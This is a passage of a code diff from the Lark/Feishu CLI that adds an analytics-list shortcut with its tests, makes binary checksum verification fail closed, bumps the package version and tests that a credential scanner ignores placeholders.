||||
if count != 6 {
|
||||
t.Fatalf("source code credential-shaped literal findings = %d, want 6: %#v", count, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsPrintfCredentialPlaceholders(t *testing.T) {
|
||||
got := ScanFile("fixtures/placeholders.md", []byte(strings.Join([]string{
|
||||
"client_secret=%s",
|
||||
"access_token=%v",
|
||||
}, "\n")+"\n"))
|
||||
for _, item := range got {
|
||||
if item.Rule == "public_content_generic_credential" {
|
||||
t.Fatalf("printf placeholders should not be credential findings: %#v", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanFileAllowsEllipsisCredentialPlaceholders(t *testing.T) {
|
||||
got := ScanFile("fixtures/lark-doc-fetch.md", []byte(strings.Join([]string{
|
||||
`<img token="..." url="https://..." width="..." height="..."/>`,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@larksuite/cli",
|
||||
"version": "1.0.60",
|
||||
"version": "1.0.61",
|
||||
"description": "The official CLI for Lark/Feishu open platform",
|
||||
"bin": {
|
||||
"lark-cli": "scripts/run.js"
|
||||
|
||||
@@ -265,10 +265,9 @@ function getExpectedChecksum(archiveName, checksumsDir) {
|
||||
const checksumsPath = path.join(dir, "checksums.txt");
|
||||
|
||||
if (!fs.existsSync(checksumsPath)) {
|
||||
console.error(
|
||||
"[WARN] checksums.txt not found, skipping checksum verification"
|
||||
throw new Error(
|
||||
"[SECURITY] checksums.txt not found; refusing to install an unverified binary."
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
const content = fs.readFileSync(checksumsPath, "utf8");
|
||||
@@ -286,7 +285,11 @@ function getExpectedChecksum(archiveName, checksumsDir) {
|
||||
}
|
||||
|
||||
function verifyChecksum(archivePath, expectedHash) {
|
||||
if (expectedHash === null) return;
|
||||
if (typeof expectedHash !== "string" || expectedHash.length === 0) {
|
||||
throw new Error(
|
||||
"[SECURITY] missing expected checksum; refusing to install an unverified binary."
|
||||
);
|
||||
}
|
||||
|
||||
// Stream the file to avoid loading the entire archive into memory.
|
||||
// Archives can be 10-100MB; streaming keeps RSS constant.
|
||||
|
||||
@@ -52,11 +52,17 @@ describe("getExpectedChecksum", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("returns null when checksums.txt does not exist", () => {
|
||||
it("throws [SECURITY] when checksums.txt does not exist (fail-closed)", () => {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "checksum-test-"));
|
||||
// No checksums.txt in dir
|
||||
const result = getExpectedChecksum("anything.tar.gz", dir);
|
||||
assert.equal(result, null);
|
||||
assert.throws(
|
||||
() => getExpectedChecksum("anything.tar.gz", dir),
|
||||
(err) => {
|
||||
assert.match(err.message, /^\[SECURITY\]/);
|
||||
assert.match(err.message, /checksums\.txt not found/);
|
||||
return true;
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
it("skips malformed lines and still finds valid entry", () => {
|
||||
@@ -125,6 +131,19 @@ describe("verifyChecksum", () => {
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
it("verifyChecksum throws [SECURITY] on null/empty expectedHash (fail-closed)", () => {
|
||||
const filePath = makeTmpFile("content");
|
||||
for (const expectedHash of [null, ""]) {
|
||||
assert.throws(
|
||||
() => verifyChecksum(filePath, expectedHash),
|
||||
(err) => {
|
||||
assert.match(err.message, /^\[SECURITY\]/);
|
||||
return true;
|
||||
}
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertAllowedHost", () => {
|
||||
|
||||
207
shortcuts/apps/apps_analytics.go
Normal file
207
shortcuts/apps/apps_analytics.go
Normal file
@@ -0,0 +1,207 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultAppsAnalyticsEnv = "online"
|
||||
defaultAppsAnalyticsGranular = "day"
|
||||
analyticsListEndpoint = "query_analytics_data"
|
||||
)
|
||||
|
||||
// AppsAnalyticsList lists online app product analytics.
|
||||
var AppsAnalyticsList = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+analytics-list",
|
||||
Description: "List online app user and page-view analytics",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +analytics-list --app-id <app_id> --analytics users --granularity week",
|
||||
"Tip: analytics timestamps use nanoseconds; use +metric-list for request/runtime metrics.",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "app ID whose online analytics should be listed", Required: true},
|
||||
{Name: appsEnvironmentFlag, Default: defaultAppsAnalyticsEnv, Desc: "observability environment; only online is supported"},
|
||||
{Name: "analytics", Desc: "analytics family to list", Required: true, Enum: []string{"users", "page-view"}},
|
||||
{Name: "series", Desc: "analytics series within the family, such as active-users or desktop-view"},
|
||||
{Name: "since", Desc: "start time, relative duration (30s, 5m, 0.5h, 2h, 3d, 1w), local date/time, or RFC3339; defaults to 30 days before --until"},
|
||||
{Name: "until", Desc: "end time, relative duration (30s, 5m, 0.5h, 2h, 3d, 1w), local date/time, or RFC3339; defaults to now"},
|
||||
{Name: "page", Desc: "frontend page or route filter"},
|
||||
{Name: "device-type", Desc: "device type filter", Enum: []string{"desktop", "mobile"}},
|
||||
{Name: "granularity", Default: defaultAppsAnalyticsGranular, Desc: "analytics aggregation granularity", Enum: []string{"day", "week", "month"}},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
_, _, _, err := buildAnalyticsListBody(rctx)
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
body, _, _, _ := buildAnalyticsListBody(rctx)
|
||||
return common.NewDryRunAPI().
|
||||
POST(analyticsListPath(rctx.Str("app-id"))).
|
||||
Desc("List online app analytics").
|
||||
Body(body)
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
body, types, labels, err := buildAnalyticsListBody(rctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("POST", analyticsListPath(appID), nil, body)
|
||||
if err != nil {
|
||||
return withAppsHint(err, appIDListHint)
|
||||
}
|
||||
out := observabilitySeriesOutput{
|
||||
Items: normalizeAnalyticsSeries(data, types, labels),
|
||||
HasMore: false,
|
||||
}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
rows := observabilitySeriesRows(out.Items)
|
||||
sortObservabilityRowsDesc(rows, "timestamp_ns")
|
||||
rows = filterObservabilityRowsWithTime(rows, "timestamp_ns")
|
||||
appsPrintSchemaTable(w, rows, analyticsSeriesSchema(labels))
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
func analyticsListPath(appID string) string {
|
||||
return appScopedPath(appID, analyticsListEndpoint)
|
||||
}
|
||||
|
||||
func buildAnalyticsListBody(rctx *common.RuntimeContext) (map[string]interface{}, []string, []string, error) {
|
||||
env := strings.TrimSpace(rctx.Str(appsEnvironmentFlag))
|
||||
if env == "" {
|
||||
env = defaultAppsAnalyticsEnv
|
||||
}
|
||||
if err := validateObservabilityEnv(env); err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
types, labels, filter, err := analyticsTypesForCLI(rctx.Str("analytics"), rctx.Str("series"), rctx.Str("device-type"))
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
since, until, err := defaultedObservabilityTimeRange(rctx.Str("since"), rctx.Str("until"))
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
aggregation, err := analyticsGranularityForCLI(rctx.Str("granularity"))
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
if page := strings.TrimSpace(rctx.Str("page")); page != "" {
|
||||
filter["page"] = page
|
||||
}
|
||||
body := map[string]interface{}{
|
||||
"metric_types": types,
|
||||
"start_timestamp_ns": nsNumber(since),
|
||||
"end_timestamp_ns": nsNumber(until),
|
||||
"time_aggregation_unit": aggregation,
|
||||
"need_pack_lack_point": false,
|
||||
}
|
||||
if len(filter) > 0 {
|
||||
body["filter"] = filter
|
||||
}
|
||||
return body, types, labels, nil
|
||||
}
|
||||
|
||||
func analyticsTypesForCLI(name, series, deviceType string) ([]string, []string, map[string]interface{}, error) {
|
||||
name = strings.TrimSpace(strings.ToLower(name))
|
||||
series = strings.TrimSpace(strings.ToLower(series))
|
||||
deviceType = strings.TrimSpace(strings.ToLower(deviceType))
|
||||
filter := make(map[string]interface{})
|
||||
if deviceType != "" {
|
||||
switch deviceType {
|
||||
case "desktop", "mobile":
|
||||
filter["device_types"] = []string{deviceType}
|
||||
default:
|
||||
return nil, nil, nil, appsValidationParamError("--device-type", "--device-type must be desktop or mobile")
|
||||
}
|
||||
}
|
||||
|
||||
switch name {
|
||||
case "users":
|
||||
switch series {
|
||||
case "":
|
||||
return []string{"ACTIVE_USER", "NEW_USER", "TOTAL_USER"}, []string{"active-users", "new-users", "total-users"}, filter, nil
|
||||
case "active", "active-users":
|
||||
return []string{"ACTIVE_USER"}, []string{"active-users"}, filter, nil
|
||||
case "new", "new-users":
|
||||
return []string{"NEW_USER"}, []string{"new-users"}, filter, nil
|
||||
case "total", "total-users":
|
||||
return []string{"TOTAL_USER"}, []string{"total-users"}, filter, nil
|
||||
default:
|
||||
return nil, nil, nil, appsValidationParamError("--series", "--series for --analytics users must be active, new, or total")
|
||||
}
|
||||
case "page-view":
|
||||
switch series {
|
||||
case "", "all":
|
||||
return []string{"PAGE_VIEW"}, []string{"all"}, filter, nil
|
||||
case "desktop", "desktop-view":
|
||||
if err := mergeAnalyticsDeviceFilter(filter, "desktop"); err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
return []string{"PAGE_VIEW"}, []string{"desktop"}, filter, nil
|
||||
case "mobile", "mobile-view":
|
||||
if err := mergeAnalyticsDeviceFilter(filter, "mobile"); err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
return []string{"PAGE_VIEW"}, []string{"mobile"}, filter, nil
|
||||
default:
|
||||
return nil, nil, nil, appsValidationParamError("--series", "--series for --analytics page-view must be all, desktop, or mobile")
|
||||
}
|
||||
default:
|
||||
return nil, nil, nil, appsValidationParamError("--analytics", "--analytics must be users or page-view")
|
||||
}
|
||||
}
|
||||
|
||||
func mergeAnalyticsDeviceFilter(filter map[string]interface{}, deviceType string) error {
|
||||
if existing, ok := filter["device_types"].([]string); ok && len(existing) > 0 && existing[0] != deviceType {
|
||||
return appsValidationParamError("--device-type", "--device-type conflicts with --series")
|
||||
}
|
||||
filter["device_types"] = []string{deviceType}
|
||||
return nil
|
||||
}
|
||||
|
||||
func analyticsGranularityForCLI(granularity string) (string, error) {
|
||||
switch strings.TrimSpace(strings.ToLower(granularity)) {
|
||||
case "", "day":
|
||||
return "DAY", nil
|
||||
case "week":
|
||||
return "WEEK", nil
|
||||
case "month":
|
||||
return "MONTH", nil
|
||||
default:
|
||||
return "", appsValidationParamError("--granularity", "--granularity must be day, week, or month")
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeAnalyticsSeries(data map[string]interface{}, names, labels []string) []map[string]interface{} {
|
||||
items := normalizeObservabilitySeries(data, labels, observabilityNameLabels(names, labels), false, "timestamp_ns")
|
||||
fillObservabilityZeroesWhenPartiallyPresent(items, labels)
|
||||
return items
|
||||
}
|
||||
|
||||
func analyticsSeriesSchema(labels []string) appsOutputSchema {
|
||||
columns := []appsOutputColumn{
|
||||
{Key: "timestamp_ns", Label: "time", Format: appsFormatNS("2006-01-02 15:04:05")},
|
||||
}
|
||||
for _, label := range labels {
|
||||
columns = append(columns, appsOutputColumn{Key: label})
|
||||
}
|
||||
return appsOutputSchema{Columns: columns, Strict: true}
|
||||
}
|
||||
459
shortcuts/apps/apps_analytics_test.go
Normal file
459
shortcuts/apps/apps_analytics_test.go
Normal file
@@ -0,0 +1,459 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
func TestAppsAnalyticsList_DryRunUsesNanoseconds(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users",
|
||||
"--since", "2026-06-23T10:00:00Z", "--until", "2026-06-23T10:01:00Z",
|
||||
"--granularity", "week", "--dry-run", "--as", "user",
|
||||
}, factory, stdout)
|
||||
if err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode dry-run: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if env.API[0].Method != "POST" || env.API[0].URL != "/open-apis/spark/v1/apps/app_x/query_analytics_data" {
|
||||
t.Fatalf("method/url = %s %s", env.API[0].Method, env.API[0].URL)
|
||||
}
|
||||
body := env.API[0].Body
|
||||
if _, ok := body["start_timestamp_ns"]; !ok {
|
||||
t.Fatalf("analytics dry-run missing start_timestamp_ns: %#v", body)
|
||||
}
|
||||
if _, ok := body["start_timestamp"]; ok {
|
||||
t.Fatalf("analytics should not use start_timestamp: %#v", body)
|
||||
}
|
||||
if body["time_aggregation_unit"] != "WEEK" {
|
||||
t.Fatalf("time_aggregation_unit = %v", body["time_aggregation_unit"])
|
||||
}
|
||||
if _, ok := body["app_env"]; ok {
|
||||
t.Fatalf("analytics OpenAPI body should not include app_env: %#v", body)
|
||||
}
|
||||
if _, ok := body["analytics_types"]; ok {
|
||||
t.Fatalf("analytics OpenAPI body should use metric_types, not analytics_types: %#v", body)
|
||||
}
|
||||
if body["need_pack_lack_point"] != false {
|
||||
t.Fatalf("need_pack_lack_point = %#v, want false", body["need_pack_lack_point"])
|
||||
}
|
||||
if _, ok := body["group_by"]; ok {
|
||||
t.Fatalf("group_by is intentionally unsupported for now: %#v", body)
|
||||
}
|
||||
if metricTypes, ok := body["metric_types"].([]interface{}); !ok || len(metricTypes) != 3 {
|
||||
t.Fatalf("metric_types = %#v", body["metric_types"])
|
||||
}
|
||||
if body["start_timestamp_ns"] != "1782208800000000000" ||
|
||||
body["end_timestamp_ns"] != "1782208860000000000" {
|
||||
t.Fatalf("analytics timestamps = %#v %#v", body["start_timestamp_ns"], body["end_timestamp_ns"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_PageViewDesktopSeriesSetsDeviceFilter(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
args []string
|
||||
}{
|
||||
{
|
||||
name: "series",
|
||||
args: []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "page-view",
|
||||
"--series", "desktop", "--page", "/home", "--dry-run", "--as", "user",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "device-type",
|
||||
args: []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "page-view",
|
||||
"--device-type", "desktop", "--dry-run", "--as", "user",
|
||||
},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, tc.args, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode dry-run: %v\n%s", err, stdout.String())
|
||||
}
|
||||
filter := env.API[0].Body["filter"].(map[string]interface{})
|
||||
deviceTypes := filter["device_types"].([]interface{})
|
||||
if len(deviceTypes) != 1 || deviceTypes[0] != "desktop" {
|
||||
t.Fatalf("device_types = %#v", deviceTypes)
|
||||
}
|
||||
if tc.name == "series" && filter["page"] != "/home" {
|
||||
t.Fatalf("filter.page = %#v, want /home", filter["page"])
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_DesktopSeriesUsesDesktopValueLabel(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"series": []interface{}{
|
||||
map[string]interface{}{
|
||||
"metric_type": "PAGE_VIEW",
|
||||
"points": []interface{}{
|
||||
map[string]interface{}{
|
||||
"timestamp_ns": float64(1782208800000000000),
|
||||
"value": float64(21),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "page-view",
|
||||
"--series", "desktop", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var env struct {
|
||||
Data struct {
|
||||
Items []struct {
|
||||
Values map[string]interface{} `json:"values"`
|
||||
} `json:"items"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if len(env.Data.Items) != 1 {
|
||||
t.Fatalf("items len = %d", len(env.Data.Items))
|
||||
}
|
||||
if env.Data.Items[0].Values["desktop"] != float64(21) {
|
||||
t.Fatalf("values = %#v, want desktop=21", env.Data.Items[0].Values)
|
||||
}
|
||||
if _, ok := env.Data.Items[0].Values["page-view"]; ok {
|
||||
t.Fatalf("values should not use page-view label: %#v", env.Data.Items[0].Values)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_PrettyFormatsTimeFirst(t *testing.T) {
|
||||
const rawNS = int64(1782208800000000000)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"series": []interface{}{
|
||||
map[string]interface{}{
|
||||
"metric_type": "ACTIVE_USER",
|
||||
"points": []interface{}{
|
||||
map[string]interface{}{"timestamp_ns": float64(rawNS), "value": float64(7)},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users", "--series", "active", "--format", "pretty", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
wantTime := time.Unix(0, rawNS).Local().Format("2006-01-02 15:04:05")
|
||||
if !strings.HasPrefix(got, "time") {
|
||||
t.Fatalf("pretty output should start with time column, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, wantTime) {
|
||||
t.Fatalf("pretty output missing formatted time %q:\n%s", wantTime, got)
|
||||
}
|
||||
if strings.Contains(got, "timestamp_ns") || strings.Contains(got, "1782208800000000000") {
|
||||
t.Fatalf("pretty output should hide raw timestamp_ns, got:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_PrettySkipsRowsWithoutTime(t *testing.T) {
|
||||
const rawNS = int64(1782208800000000000)
|
||||
rows := []map[string]interface{}{
|
||||
{"timestamp_ns": rawNS, "active-users": float64(7)},
|
||||
{"active-users": float64(0)},
|
||||
}
|
||||
sortObservabilityRowsDesc(rows, "timestamp_ns")
|
||||
rows = filterObservabilityRowsWithTime(rows, "timestamp_ns")
|
||||
if len(rows) != 1 {
|
||||
t.Fatalf("rows len = %d, want 1: %#v", len(rows), rows)
|
||||
}
|
||||
if rows[0]["timestamp_ns"] != rawNS {
|
||||
t.Fatalf("remaining row = %#v", rows[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_NamedSeriesDoesNotDependOnBackendOrder(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"series": []interface{}{
|
||||
map[string]interface{}{
|
||||
"metric_type": "TOTAL_USER",
|
||||
"points": []interface{}{
|
||||
map[string]interface{}{"timestamp_ns": float64(1782208800000000000), "value": float64(20)},
|
||||
},
|
||||
},
|
||||
map[string]interface{}{
|
||||
"metric_type": "ACTIVE_USER",
|
||||
"points": []interface{}{
|
||||
map[string]interface{}{"timestamp_ns": float64(1782208800000000000), "value": float64(7)},
|
||||
},
|
||||
},
|
||||
map[string]interface{}{
|
||||
"metric_type": "NEW_USER",
|
||||
"points": []interface{}{
|
||||
map[string]interface{}{"timestamp_ns": float64(1782208800000000000), "value": float64(3)},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var env struct {
|
||||
Data struct {
|
||||
Items []struct {
|
||||
Values map[string]interface{} `json:"values"`
|
||||
} `json:"items"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if len(env.Data.Items) != 1 {
|
||||
t.Fatalf("items len = %d", len(env.Data.Items))
|
||||
}
|
||||
values := env.Data.Items[0].Values
|
||||
if values["active-users"] != float64(7) || values["new-users"] != float64(3) || values["total-users"] != float64(20) {
|
||||
t.Fatalf("values = %#v, want active-users=7 new-users=3 total-users=20", values)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_FillsMissingAndNullValuesWhenAnyValuePresent(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{
|
||||
"timestamp_ns": "1782208800000000000",
|
||||
"values": map[string]interface{}{
|
||||
"total-users": float64(4),
|
||||
"active-users": nil,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var env struct {
|
||||
Data struct {
|
||||
Items []struct {
|
||||
Values map[string]interface{} `json:"values"`
|
||||
} `json:"items"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
values := env.Data.Items[0].Values
|
||||
if values["total-users"] != float64(4) || values["active-users"] != float64(0) || values["new-users"] != float64(0) {
|
||||
t.Fatalf("values = %#v, want total-users=4 active-users=0 new-users=0", values)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_DoesNotFillAllNullValues(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{
|
||||
map[string]interface{}{
|
||||
"timestamp_ns": "1782208800000000000",
|
||||
"values": map[string]interface{}{
|
||||
"total-users": nil,
|
||||
"active-users": nil,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var env struct {
|
||||
Data struct {
|
||||
Items []struct {
|
||||
Values map[string]interface{} `json:"values"`
|
||||
} `json:"items"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
values := env.Data.Items[0].Values
|
||||
if values["total-users"] != nil || values["active-users"] != nil {
|
||||
t.Fatalf("values = %#v, want existing nulls preserved", values)
|
||||
}
|
||||
if _, ok := values["new-users"]; ok {
|
||||
t.Fatalf("values should not fill missing labels when all present values are null: %#v", values)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsAnalyticsList_EmptyResponseOutputsEmptyItemsArray(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/query_analytics_data",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsAnalyticsList, []string{
|
||||
"+analytics-list", "--app-id", "app_x", "--analytics", "users", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var env struct {
|
||||
Data struct {
|
||||
Items []map[string]interface{} `json:"items"`
|
||||
HasMore bool `json:"has_more"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if env.Data.Items == nil {
|
||||
t.Fatalf("items decoded as nil; stdout=%s", stdout.String())
|
||||
}
|
||||
if len(env.Data.Items) != 0 || env.Data.HasMore {
|
||||
t.Fatalf("empty output = items %#v has_more %v", env.Data.Items, env.Data.HasMore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnalyticsTypesMapping(t *testing.T) {
|
||||
types, labels, filter, err := analyticsTypesForCLI("users", "", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Join(types, ",") != "ACTIVE_USER,NEW_USER,TOTAL_USER" {
|
||||
t.Fatalf("types = %#v", types)
|
||||
}
|
||||
if strings.Join(labels, ",") != "active-users,new-users,total-users" {
|
||||
t.Fatalf("labels = %#v", labels)
|
||||
}
|
||||
if len(filter) != 0 {
|
||||
t.Fatalf("filter = %#v, want empty", filter)
|
||||
}
|
||||
|
||||
types, labels, filter, err = analyticsTypesForCLI("page-view", "", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Join(types, ",") != "PAGE_VIEW" || strings.Join(labels, ",") != "all" {
|
||||
t.Fatalf("page-view all mapping = %#v %#v", types, labels)
|
||||
}
|
||||
if len(filter) != 0 {
|
||||
t.Fatalf("filter = %#v, want empty", filter)
|
||||
}
|
||||
|
||||
types, labels, filter, err = analyticsTypesForCLI("page-view", "desktop", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Join(types, ",") != "PAGE_VIEW" || strings.Join(labels, ",") != "desktop" {
|
||||
t.Fatalf("page-view mapping = %#v %#v", types, labels)
|
||||
}
|
||||
deviceTypes := filter["device_types"].([]string)
|
||||
if len(deviceTypes) != 1 || deviceTypes[0] != "desktop" {
|
||||
t.Fatalf("device_types = %#v", deviceTypes)
|
||||
}
|
||||
|
||||
types, labels, filter, err = analyticsTypesForCLI("page-view", "mobile-view", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Join(types, ",") != "PAGE_VIEW" || strings.Join(labels, ",") != "mobile" {
|
||||
t.Fatalf("page-view mobile mapping = %#v %#v", types, labels)
|
||||
}
|
||||
deviceTypes = filter["device_types"].([]string)
|
||||
if len(deviceTypes) != 1 || deviceTypes[0] != "mobile" {
|
||||
t.Fatalf("device_types = %#v", deviceTypes)
|
||||
}
